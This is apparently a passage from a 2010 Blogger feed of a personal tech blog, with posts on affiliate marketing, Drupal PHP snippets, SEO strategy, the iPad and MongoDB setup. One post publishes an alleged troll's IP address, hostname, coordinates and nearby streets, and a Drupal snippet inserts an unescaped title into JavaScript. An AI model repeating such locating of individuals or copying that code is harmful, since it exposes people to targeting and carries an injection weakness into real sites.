src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4999701131903686172</id><published>2010-11-14T23:14:00.005-08:00</published><updated>2010-11-14T23:34:35.030-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='API'/><category scheme='http://www.blogger.com/atom/ns#' term='Commission Junction'/><category scheme='http://www.blogger.com/atom/ns#' term='Groupon'/><title type='text'>Get your Groupon</title><content type='html'>Do you want to make money from &lt;a href="http://groupon.com/"&gt;Groupon&lt;/a&gt;? Here's how:&lt;br /&gt;Go to &lt;a href="http://www.cj.com/"&gt;Commission Junction&lt;/a&gt; and apply to an account&lt;br /&gt;Go to Groupon, create an account and &lt;a href="http://www.groupon.com/pages/api"&gt;get an API key&lt;/a&gt;.&lt;br /&gt;Use the code below (feel free to alter and expand-- consider it totally GPL) on your PHP driven site.&lt;br /&gt;&lt;br /&gt;&lt;iframe src="http://mike.dewolfe.bc.ca/files/groupon.php.txt" height="1200" width="600"&gt;&lt;/iframe&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4999701131903686172?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4999701131903686172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4999701131903686172' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4999701131903686172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4999701131903686172'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/11/get-your-groupon.html' title='Get your Groupon'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4486399478814799939</id><published>2010-07-02T22:46:00.004-07:00</published><updated>2010-07-03T00:04:39.620-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><category scheme='http://www.blogger.com/atom/ns#' term='Amazon'/><category scheme='http://www.blogger.com/atom/ns#' term='Affiliate Revenue'/><title type='text'>Amazon "Buy Now" Kludge For Drupal</title><content type='html'>I want to get people to go straight to the product. But, the inputter can be unwilling to search out the links neccessary to hook products on the website to products on Amazon. &lt;br /&gt;Using Drupal 6 and the &lt;a href="http://drupal.org/project/amazon"&gt;Amazon API module&lt;/a&gt; along with the kludge below, you can search out products, limit them by the product type and then provide that link to your readers to generate affiliate revenue. &lt;br /&gt;&lt;ul&gt;&lt;li&gt;Download and activate the module, the API and the Amazon Search part of this module&lt;/li&gt;&lt;li&gt;Get an affiliate id, if you don't yet have one.&lt;/li&gt;&lt;li&gt;Go to Amazon and get an API key and API secret key.&lt;/li&gt;&lt;li&gt;Plug those into the Amazon API&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;In your themeing or a block, use the following PHP code. In this example, I've been filtering the results for only video games. Likely, you want to filter for other types of results (DVDs, books, CDs, etc.). &lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;$keys = $node-&gt;title." ".$node-&gt;keywordsearch;&lt;br /&gt;if ($amazon_cache = cache_get("amazon_search_".$keys)) {&lt;br /&gt; $products[0]['link'] = $amazon_cache-&gt;data;&lt;br /&gt;}&lt;br /&gt;else {&lt;br /&gt; $products = array();&lt;br /&gt; $items = amazon_search_simple_search($keys);&lt;br /&gt; foreach ($items as $item) {&lt;br /&gt;   if (check_plain($item['productgroup']) == 'Video Games') {&lt;br /&gt;    $products[] = array(&lt;br /&gt;   'title' =&gt; check_plain($item['title']),&lt;br /&gt;   'link' =&gt; check_url($item['detailpageurl']),&lt;br /&gt;   'type' =&gt; check_plain($item['productgroup']),&lt;br /&gt;   'user' =&gt; isset($item['participants']) ? implode(', ', $item['participants']) : '',&lt;br /&gt;   'snippet' =&gt; isset($item['editorialreviews']) ? check_markup($item['editorialreviews'][0]['content']) : '',&lt;br /&gt;    );   &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; cache_set("amazon_search_".$keys, $products[0]['link']);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if ($products[0]['link']) {&lt;br /&gt; print "&amp;lt;br/&amp;gt;&amp;lt;b&amp;gt;".l('Buy Now!', $products[0]['link'], array('absolute' =&amp;gt; TRUE))."&amp;lt;/b&amp;gt;";&lt;br /&gt;}&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4486399478814799939?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4486399478814799939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4486399478814799939' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4486399478814799939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4486399478814799939'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/07/amazon-buy-now-kludge-for-drupal.html' title='Amazon &quot;Buy Now&quot; Kludge For Drupal'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4884372119400890505</id><published>2010-07-02T20:43:00.003-07:00</published><updated>2010-07-02T20:52:15.356-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='drupal heretic'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><category scheme='http://www.blogger.com/atom/ns#' term='AddToAny'/><title type='text'>An AddToAny Kludge For Drupal</title><content type='html'>AddtoAny is a cool widget. For Drupal 6, there is the AddToAny project (&lt;a href="http://drupal.org/project/addtoany"&gt;http://drupal.org/project/addtoany&lt;/a&gt;). It's good. It's really granular in its ability to control access and features. For me, though, the mambo of the Page Title, CCK and AddToAny gave my install indigestion. I knew that I wanted all nodes to show off the AddToAny widget, permissions didn't enter into, and I knew exactly where in the theming I wanted it to appear. So, rather than add one more module to the mix, instead I put the code directly into the theming for content-field. Bad form? Maybe, but that's what makes me a Drupal heretic.&lt;br /&gt;&lt;br /&gt;&lt;code&gt;$link_name = $node-&gt;title;&lt;br /&gt;$link_url = url('node/' . $node-&gt;nid, array('absolute' =&gt; 1));&lt;br /&gt;&lt;br /&gt;$addany = '&amp;lt;!-- AddToAny BEGIN --&amp;gt;&amp;lt;a class="a2a_dd" href="http://www.addtoany.com/share_save?';&lt;br /&gt;$addany .= "linkurl=".urlencode($link_url);&lt;br /&gt;$addany .= "&amp;amp;linkname=".urlencode($link_name);&lt;br /&gt;$addany .= '"&amp;gt;&amp;lt;img src="http://static.addtoany.com/buttons/share_save_171_16.png" width="171" height="16" border="0" alt="Share/Bookmark" /&amp;gt;&amp;lt;/a&amp;gt;'."\n";&lt;br /&gt;$addany .= '&amp;lt;script type="text/javascript"&amp;gt;'."\n";&lt;br /&gt;$addany .= 'var a2a_config = a2a_config || {};'."\n";&lt;br /&gt;$addany .= 'a2a_config.linkname = "'.$link_name.'";'."\n";&lt;br /&gt;$addany .= 'a2a_config.linkurl = "'.$link_url.'";'."\n";&lt;br /&gt;$addany .= 'a2a_config.onclick = 1;'."\n";&lt;br /&gt;$addany .= 'a2a_config.show_title = 1;'."\n";&lt;br /&gt;$addany .= 'a2a_config.num_services = 20;'."\n";&lt;br /&gt;$addany .= '&amp;lt;/script&gt;'."\n";&lt;br /&gt;$addany .= '&amp;lt;script type="text/javascript" src="http://static.addtoany.com/menu/page.js"&amp;gt;&amp;lt;/script&amp;gt;'."\n";&lt;br /&gt;$addany .= '&amp;lt;!-- AddToAny END --&amp;gt;';&lt;br /&gt;&lt;br /&gt;print $addany;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4884372119400890505?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4884372119400890505/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4884372119400890505' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4884372119400890505'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4884372119400890505'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/07/addtoany-kludge-for-drupal.html' title='An AddToAny Kludge For Drupal'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3181833631843258472</id><published>2010-06-04T07:39:00.006-07:00</published><updated>2010-06-04T09:07:34.233-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Page rank'/><category scheme='http://www.blogger.com/atom/ns#' term='traffic'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Strategic Shifting and What I Learned from WalMart</title><content type='html'>I've had a web page up in one form or another since late 1995. Back then, it ushered my return to tech by dipping my toe into web design and soon thereafter, web development (Perl, ASP, then I settled into lots of PHP).&lt;br /&gt;I'm a dabbler-- I sculpt, I cook, I take photos, I have lots of opinions, I write and sometimes I like to be a jack-ass. My website had to reflect that. Even my &lt;a href="http://web.archive.org/web/19991008190307/http://www.islandnet.com/%7Edewolfe/mike/index.html"&gt;early incarnations&lt;/a&gt; showed off this segmentation. It started to seemed to confusing to me and I thought it was confusing to my "audience" (all three readers must be very confused). So, I segmented stuff-- dieting got a blog; tech got a blog; movie reviews got a blog-- you can see where this is going. Then, no one would trip over my weight loss tips when looking for how I built my Borg masks. That's where things went: from a bazaar of dabblings to a set of little shops.&lt;br /&gt;As a kid, I loved the department stores like Woodwards. Get your macaroni salad, then walk to the other part of the store and buy camping gear or a suit or some Micronauts. Canadian retailers, like Eatons, shot themselves in the foot by taking product lines out of the mix. People liked these places for their shoes or shirts, but they were considered big specialty shops. WalMart arrived on the scene with almost everything you'd need. Mega WalMarts, like the one due to open in Victoria in a few weeks, have &lt;b&gt;everything&lt;/b&gt; you need. Just walk in the door and you'll find what you need. This approach is devastating to the little shop mentality hence why WalMart is being blamed for killing the Main Streets across America. The most noteworthy thing: &lt;b&gt;it works&lt;/b&gt;.&lt;br /&gt;When I went into the little shop approach, my traffic started to drop. Where I used to make a happy pittance with AdSense, now I see a cheque less than once a year. It's almost laughably sad. While the WalMarts of the Internet have something for everyone under one domain, I have all of these fringe sites that are left on their own.&lt;br /&gt;The reason for this is simple: page rank. Page rank talks about your site and its traffic, thereby its relevance on the Internet. I (me, myself and I) generate so many web pages a day. They get so many hits. I think that is a small and predictable number of hits. Google doesn't purport to see the me behind the web pages, it just sees these separated sites. While &lt;b&gt;I&lt;/b&gt; am 500 hits a day, Google sees that 10 sites are getting 2-100 hits a day-- all of which is even more miserable than 500 hits/day. Why drive traffic to me? My sites appear to be bumpy cul-de-sacs given how little traffic they warrant. Google, traffic and page rank are parts of a vicious cycle. If you don't have traffic, Google does not bestow page ranks. If you don't have page rank, you don't get traffic. Google doesn't look at design or navigation. It looks at domains. The more I pile into &lt;a href="http://mike.dewolfe.bc.ca/"&gt;http://mike.dewolfe.bc.ca/&lt;/a&gt;&lt;br /&gt;I have begun a process of steering my traffic to accrete on a short list of selected sites. My diet blog was about my fatness and my work to remedy it. So, there's no reason to have it split out and apart from my main site, &lt;a href="http://mike.dewolfe.bc.ca/health/dieting"&gt;so I moved it in&lt;/a&gt;, while leaving the old blog to linger and wither as new content goes into my main site. The same is true with my Viridian blog. It's moving into my main site as well. I will look at my other ventures and work to roll stuff together and collect traffic and build page rank.&lt;br /&gt;&lt;br /&gt;What any of you converted from the Main Street concept to the WalMart concept? How did it all go?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3181833631843258472?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3181833631843258472/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3181833631843258472' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3181833631843258472'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3181833631843258472'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/06/strategic-shifting-and-what-i-learned.html' title='Strategic Shifting and What I Learned from WalMart'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-3350378413310766063</id><published>2010-05-28T20:30:00.003-07:00</published><updated>2010-05-28T21:06:46.642-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Canada'/><category scheme='http://www.blogger.com/atom/ns#' term='iPad'/><title type='text'>iCame iSaw iPad</title><content type='html'>iPads appeared in Canada today. Last month, I was at Drupalcon in San Francisco and all the cool kids had iPads. They were enviable for more than the cool factor: they have VERY long battery lives (upwards of 10 hrs.). The display is crisp. Landscape or portrait is up to you depending on which way you hold it. With laptops, you have to be nomadic: travel and squat. With the iPad, you can cradle it like a steno pad. If they had a camera so that you could see where you were going, you could nestle the iPad between you and reality as you walked down the street.&lt;br /&gt;I was next door to a Future Shop today. I decided to pop in and see if any were being demonstrated. They had models ranging from the 16GB for $549 to the 64GB for close to $800. The basic model had solely wifi, the top end could run with 3G or wifi. The downside of the 3G option is that it needs to be coupled with a data plan from a cellphone company. Given that Canada's data plans are notoriously lousy, I think the upper end iPads are a gateway drug.&lt;br /&gt;I tried out a few sites. The iPad did very well with Youtube and Vimeo videos. Because of the Apple fear of the right-click, I couldn't find a way to right click those pages and see if they were running under HTML5 (I presume. Am I right?) or that there was a truce between Apple and Adobe.&lt;br /&gt;With such a rush on the iPads, Future Shop was out of stock on almost all of the units except for some of the high end ones. I have some ideas where you can get yours. Even though Amazon is keen to push their Kindles, they do have at least one &lt;a href="http://www.amazon.ca/gp/redirect.html?ie=UTF8&amp;location=http%3A%2F%2Fwww.amazon.ca%2Fgp%2Foffer-listing%2FB003LJVXFS%3Fie%3DUTF8%26ref_%3Dsr%5F1%5F1%5Folp%26s%3Dgateway%26qid%3D1275105885%26sr%3D8-1%26condition%3Dnew&amp;tag=mikedewolwrit-20&amp;linkCode=ur2&amp;camp=15121&amp;creative=390961"&gt;Apple iPad&lt;/a&gt;&lt;img src="https://www.assoc-amazon.ca/e/ir?t=mikedewolwrit-20&amp;l=ur2&amp;o=15" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /&gt; available. As soon as I find more ways to get your iPad despite the short supply, I will post that information here.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-3350378413310766063?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/3350378413310766063/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=3350378413310766063' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3350378413310766063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/3350378413310766063'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/05/icame-isaw-ipad.html' title='iCame iSaw iPad'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-8606342491086219908</id><published>2010-05-20T08:09:00.001-07:00</published><updated>2010-05-20T13:38:12.704-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='griefers'/><category scheme='http://www.blogger.com/atom/ns#' term='trolls'/><category scheme='http://www.blogger.com/atom/ns#' term='Comcast'/><title type='text'>Troll Bane 2.0</title><content type='html'>Are you bothered by a chimp who's occupation is "Destroying Blogs"?  Here's some troll bane aka chimp bane. We may be up against the same griefer. Regardless, here's some ways you can address trolls who are provocative, but are solely abusive.&lt;br /&gt;&lt;br /&gt;Step 1: &lt;b&gt;Stop Using Blogger&lt;/b&gt; - It is feature poor. Do you like the irony of reading that at technicalmike.&lt;span style="font-weight: bold;"&gt;blogspot.com&lt;/span&gt; ?&lt;br /&gt;Step 2: &lt;b&gt;Identify your threat.&lt;/b&gt; Get their IP address and tie it their location. This one was an employee at a company spilling bile across the web. When you go to their web address, &lt;a href="http://173-15-205-181-busname-richmond.hfc.comcastbusiness.net/" target="_blank"&gt;173-15-205-181-BusName-&lt;wbr&gt;Richmond.hfc.comcastbusiness.&lt;wbr&gt;net&lt;/a&gt;, you get a Sonicwall screen. Sonicwall is a fairly pricey anti-spam device. The people at this IP address either stole it or bought it for their business (I'm going with Option B).&lt;br /&gt;&lt;br /&gt;When you get the GeoIP for this address, you get a business on or near, Westhover Rd., Spottswood Rd. Shirley Lane, or Berkley Lane all in Richmond Virginia.&lt;br /&gt;So: how many businesses are in this area? &lt;a href="http://maps.google.ca/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=37.5409011841,+-77.4801025391&amp;amp;sll=38.039439,-78.484955&amp;amp;sspn=0.488876,1.234589&amp;amp;ie=UTF8&amp;amp;ll=37.541498,-77.477303&amp;amp;spn=0.00769,0.01929&amp;amp;t=h&amp;amp;z=16&amp;amp;layer=c&amp;amp;cbll=37.541582,-77.477263&amp;amp;panoid=JUhZkSj9kliugaHHbcY3yg&amp;amp;cbp=12,303.17,,0,5" target="_blank"&gt;http://maps.google.ca/maps?f=&lt;wbr&gt;q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=&lt;wbr&gt;37.5409011841,+-77.4801025391&amp;amp;&lt;wbr&gt;sll=38.039439,-78.484955&amp;amp;sspn=&lt;wbr&gt;0.488876,1.234589&amp;amp;ie=UTF8&amp;amp;ll=&lt;wbr&gt;37.541498,-77.477303&amp;amp;spn=0.&lt;wbr&gt;00769,0.01929&amp;amp;t=h&amp;amp;z=16&amp;amp;layer=&lt;wbr&gt;c&amp;amp;cbll=37.541582,-77.477263&amp;amp;&lt;wbr&gt;panoid=JUhZkSj9kliugaHHbcY3yg&amp;amp;&lt;wbr&gt;cbp=12,303.17,,0,5&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;IP Address is 173.15.205.181&lt;br /&gt;Location : Richmond, VA United States&lt;br /&gt;Lat/Long : 37.5409011841, -77.4801025391&lt;br /&gt;Host Info: &lt;a href="http://173-15-205-181-busname-richmond.hfc.comcastbusiness.net/" target="_blank"&gt;173-15-205-181-BusName-&lt;wbr&gt;Richmond.hfc.comcastbusiness.&lt;wbr&gt;net&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Step 3: &lt;b&gt;Complain&lt;/b&gt;&lt;br /&gt;Send something to complain to the police in the area (eg. &lt;a href="http://eservices.ci.richmond.va.us/applications/RichmondGovContactUs/ContactUs.aspx?ID=26" target="_blank"&gt;http://eservices.ci.richmond.&lt;wbr&gt;va.us/applications/&lt;wbr&gt;RichmondGovContactUs/&lt;wbr&gt;ContactUs.aspx?ID=26&lt;/a&gt; ).&lt;br /&gt;&lt;br /&gt;I put this phrase in:&lt;br /&gt;"I do not know if there are statutes in the Richmond jurisdiction relevant to his online behavior. From what we can gather, this individual celebrates that they have been carrying on this practice for over a year &lt;a href="http://www.blogger.com/profile/05463578513662596035" target="_blank"&gt;http://www.blogger.com/&lt;wbr&gt;profile/05463578513662596035&lt;/a&gt;"&lt;br /&gt;&lt;br /&gt;Then I lodged a complaint with Comcast, the ISP facilitating this communication.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Comcast numbers &lt;/span&gt;&lt;br /&gt;1-800-527-2222 (Pittsburgh-- the right locale to contact to lodge your complaint against an East Coast troll)&lt;br /&gt;or&lt;br /&gt;703-823-3000&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-8606342491086219908?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/8606342491086219908/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=8606342491086219908' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8606342491086219908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/8606342491086219908'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/05/troll-bane-20.html' title='Troll Bane 2.0'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-22457258538609338</id><published>2010-05-18T07:37:00.003-07:00</published><updated>2010-05-18T09:05:09.022-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='marketing'/><category scheme='http://www.blogger.com/atom/ns#' term='SEO'/><title type='text'>How the Orcs Learned to Trounce the Humans</title><content type='html'>I used to play alot of Space Marines-- the epic scale one where thumb-sized tanks would unleash fury vs. alien hordes. I learned then that you need to concentrate fire power. If you injure 50 infantry, you end up with 50 po'ed soldiers who are limping but still capable of shooting back. If you use the wolf pack concept-- lots of concentrated fire power on a small number of targets you can nail the target.&lt;br /&gt;The same is true with marketing. I have alot of blogs and subject specialities: dieting, cooking (funny duet there), technical stuff, angry man rants, short cuts, property histories and on and on. Much of this stuff didn't fit together, so I split it out. The problem is that I was making a lot of wounded soldiers when I should have been wolfpacking down the traffic. My traffic and ad revenue used to be respectable-- much less than I wanted, but more than nothing. Nowadays, there's nothing happening: my traffic and revenue is flat.&lt;br /&gt;I divided content into specialty blogs: the "Way Too Fat" blog because I was, well, way too fat and working to remedy that. I did a Viridian blog because I'm a Viridian. I had all of these specialty areas. None of them got traffic.&lt;br /&gt;I tried to reproduce content to see if that could spark traffic pooling. &lt;span style="font-weight: bold;"&gt;Big Mistake&lt;/span&gt;. I knew it was a mistake, but I was emboldened by a thing at work, where we had pages of lists cut this way or that. Google was crawling these lists like you wouldn't believe and causing some big traffic climbing. Somehow I discovered velcro when I was researching for teflon.&lt;br /&gt;So, now, I am going to do a big about face. Until future notice, www.thosedewolfes.com is down for the count, pending a redesign. I torched it before it could any more damage.&lt;br /&gt;If something has a corporate leaning, it will eventually go into www.thosedewolfes.com. "Corporate" carries two meaning here. If it is for my company, "Those DeWolfes", then the content will go there. If it is something regarding my wife and I (the collective entity that is at the core of Those DeWolfes), then it will go there too.&lt;br /&gt;If something is supposed to have a lot of contribution from others, then it will remain as its own animal. In one example, cooking, I'm going to have it both ways: my site will feature cooking/recipes and it will contribute to a multi-user site, &lt;a href="http://www.clearyourplate.com/"&gt;www.clearyourplate.com&lt;/a&gt;.&lt;br /&gt;So my commandments / decision tree for where something goes:&lt;br /&gt;- If it's timely: a blog&lt;br /&gt;- If it's mine and semi-timely: my personal site, &lt;a href="http://mike.dewolfe.bc.ca/"&gt;mike.dewolfe.bc.ca&lt;/a&gt;.&lt;br /&gt;- If it's part of the business stuff: &lt;a href="http://www.thosedewolfes.com/"&gt;www.thosedewolfes.com&lt;/a&gt;.&lt;br /&gt;- If it's collective, like &lt;a href="http://www.jumpingmoose.ca/"&gt;Jumping Moose&lt;/a&gt;, &lt;a href="http://medianook.blogspot.com/"&gt;MediaNook&lt;/a&gt; or Clear Your Plate, then it will stay as is.&lt;br /&gt;- If it needs coding (like some dynamic element), then it will not go on a blog.&lt;br /&gt;- If it's experimental and nifty, likely it will go onto &lt;a href="http://www.prefabsite.net/"&gt;Prefab Site&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The goal of this strategic shift: concentrate traffic under a few domains; make dynamic content possible where desireable; make fewer sites more popular (aka don't date 2 fives, go for 1 ten).&lt;br /&gt;&lt;br /&gt;Have you had a lot of blog and gone through the die off to aggregate traffic? Have you gone the other way with lots of feeder sites and success from each?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-22457258538609338?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/22457258538609338/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=22457258538609338' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/22457258538609338'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/22457258538609338'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2010/05/how-orcs-learned-to-trounce-humans.html' title='How the Orcs Learned to Trounce the Humans'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4194573512211477740</id><published>2010-05-17T07:09:00.008-07:00</published><updated>2011-01-28T08:00:42.473-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='MongoDB'/><title type='text'>Mongo Want Candy!</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ekehePDB92c/S_F3N6ieakI/AAAAAAAAARM/H3nk5xAvUpI/s1600/mongo.jpg"&gt;&lt;img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 230px; height: 316px;" src="http://1.bp.blogspot.com/_ekehePDB92c/S_F3N6ieakI/AAAAAAAAARM/H3nk5xAvUpI/s400/mongo.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5472286103167724098" /&gt;&lt;/a&gt;I have been interested by the concept of NoSQL. Having lived and breathed relational databases for the last 12 years, an alternative could be welcome. Then Mongo rides into town.  The MongoDB is a relatively new database system from the NoSQL movement. The NoSQL concept reemerged after Eric Evans and Johan Oskarsson did work on Last.fm. They wanted to organize an event to discuss open source distributed databases.&lt;br /&gt;&lt;a name="acid"&gt;&lt;/a&gt;&lt;a name="base"&gt;&lt;/a&gt;&lt;br /&gt;NoSQL architectures provides weak consistency guarantees such as eventual consistency. That's the "E" in the &lt;a href="http://www.blogger.com/post-create.g?blogID=13140861#BASE"&gt;BASE&lt;/a&gt; concept, as opposed to the &lt;a href="http://www.blogger.com/post-create.g?blogID=13140861#ACID"&gt;ACID&lt;/a&gt; concept that seemed to be the way to go.&lt;br /&gt;NoSQL systems find it easier to deploy distributed architecture, with the data being held in a redundant manner on several servers. That allows the data services to be scaled up easily by adding more servers.&lt;br /&gt;&lt;br /&gt;Here's how I got Mongo to come to town:&lt;br /&gt;I went to the &lt;a href="http://www.mongodb.org/"&gt;Mongo site&lt;/a&gt;.&lt;br /&gt;I went to the &lt;a href="http://www.mongodb.org/display/DOCS/Downloads"&gt;repository and downloaded&lt;/a&gt; the MongoDB engine that I needed. The suggestion is that you put MongoDB into the root and make C:\data\db to hold the data. &lt;br /&gt;I'm using XAMPP on my Windows machine. I got the PHP version, (5.28-- so, 5.2x what the flavour of Mongo I wanted). &lt;br /&gt;I got the drivers I needed from the &lt;a href="http://www.mongodb.org/display/DOCS/PHP+Language+Center"&gt;PHP drivers&lt;/a&gt; page, choosing the 5.2x thread-safe driver. I downloaded it, installed 